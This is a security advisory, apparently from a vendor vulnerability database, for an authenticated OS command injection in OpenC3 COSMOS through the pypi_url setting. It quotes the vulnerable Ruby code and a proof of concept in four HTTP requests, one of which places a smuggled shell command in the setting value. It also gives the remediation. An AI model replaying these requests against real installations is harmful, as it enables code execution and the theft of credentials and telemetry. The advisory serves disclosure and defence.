Summary
OpenC3 COSMOS: Authenticated OS command injection via the pypi_url setting
An authenticated user can execute arbitrary operating system commands on the openc3-cosmos-cmd-tlm-api service. The pypi_url setting is interpolated, unescaped, into a command line that is run through a shell backtick when a plugin is installed. Shell metacharacters in the setting value are executed by /bin/sh.
Details
The pypi_url value is written through the set_setting API method, reachable over the JSON-RPC endpoint POST /openc3-api/api. In the open-source edition, authorize (openc3/lib/openc3/utilities/authorization.rb) verifies only that the session token is valid and returns the anonymous user; the permission: argument is not enforced, so any authenticated user can write the setting and install a plugin. In the Enterprise edition these actions require the admin role.
During plugin install, PluginModel.install_phase2 reads the setting and builds the argument string, then runs it through a backtick (openc3/lib/openc3/models/plugin_model.rb:288):
pypi_url = get_setting('pypi_url', scope: scope) # attacker-controlled, no validation
pypi_url += '/simple' if pypi_url
pip_args = "-i #{pypi_url} -r #{requirements_path}"
output = `/openc3/bin/pipinstall #{pip_args}` # Ruby backtick -> /bin/sh -c
get_setting appends /simple to the stored value, and a trailing # comments out that suffix and the remainder of the argument string. The python install branch runs whenever the installed plugin contains a requirements.txt or pyproject.toml, which the actor controls because they supply the plugin gem.
The sibling installer openc3/lib/openc3/models/python_package_model.rb:95 performs the same pipinstall invocation using an argv array through ProcessManager.spawn, which does not involve a shell and is not injectable. plugin_model.rb:288 is the single site that uses a backtick.
PoC
Confirmed end-to-end over HTTP against a booted openc3-cosmos-cmd-tlm-api (puma) with Redis and bucket storage. Every request is authenticated.
- Obtain a session token:
POST /openc3-api/auth/verify {"password":"<password>"} - Write the setting (JSON-RPC):
POST /openc3-api/api {"jsonrpc":"2.0","method":"set_setting", "params":["pypi_url","https://pypi.org ; id > /tmp/A1_PWNED 2>&1 ; #"], "keyword_params":{"scope":"DEFAULT"},"id":1} - Upload a plugin gem that contains a
requirements.txt:POST /openc3-api/plugins (multipart: [email protected], scope=DEFAULT) - Install it:
POST /openc3-api/plugins/install/<id> (plugin_hash from step 3, scope=DEFAULT)
The injected command executed inside the install process. Contents of the marker file written by the payload:
uid=1001(openc3) gid=1001(openc3) groups=1001(openc3)
Impact
Arbitrary OS command execution as the openc3 user (uid 1001) inside the cmd-tlm-api container. That process holds the Redis/Valkey password and the bucket (S3) credentials and operates across every scope, so command execution there exposes stored telemetry, commanding, and credentials, and allows tampering with any scope.
In the Enterprise edition the prerequisite is the admin role; the admin already has plugin-driven code execution by design, so the practical effect there is that a configuration value becomes a shell command rather than a new privilege boundary being crossed. In the open-source edition any authenticated user reaches it.
Untrusted input reaches a shell command, allowing arbitrary commands to run on the host. Typical impact: code execution in the application's environment.
CVE-2026-77601 has a CVSS score of 8.8 (High). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (7.3.0); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
Run pipinstall through an argv array instead of a shell, matching python_package_model.rb:95:
pip_argv = ["-i", pypi_url]
pip_argv += ["--trusted-host", URI.parse(pypi_url).host] unless ENV['PIP_ENABLE_TRUSTED_HOST'].nil?
pip_argv += File.exist?(pyproject_path) ? [gem_path] : ["-r", requirements_path]
OpenC3::ProcessManager.instance.spawn(["/openc3/bin/pipinstall"] + pip_argv, "plugin_pip_install", File.basename(gem_path), Time.now + 3600.0, scope: scope)
Optionally also validate pypi_url as an http(s) URL when the setting is written.
Frequently Asked Questions
- What is CVE-2026-77601? CVE-2026-77601 is a high-severity OS command injection vulnerability in openc3 (rubygems), affecting versions >= 5.12.0, <= 7.2.1. It is fixed in 7.3.0. Untrusted input reaches a shell command, allowing arbitrary commands to run on the host.
- How severe is CVE-2026-77601? CVE-2026-77601 has a CVSS score of 8.8 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of openc3 are affected by CVE-2026-77601? openc3 (rubygems) versions >= 5.12.0, <= 7.2.1 is affected.
- Is there a fix for CVE-2026-77601? Yes. CVE-2026-77601 is fixed in 7.3.0. Upgrade to this version or later.
- Is CVE-2026-77601 exploitable, and should I be worried? Whether CVE-2026-77601 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-77601 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-77601? Upgrade
openc3to 7.3.0 or later.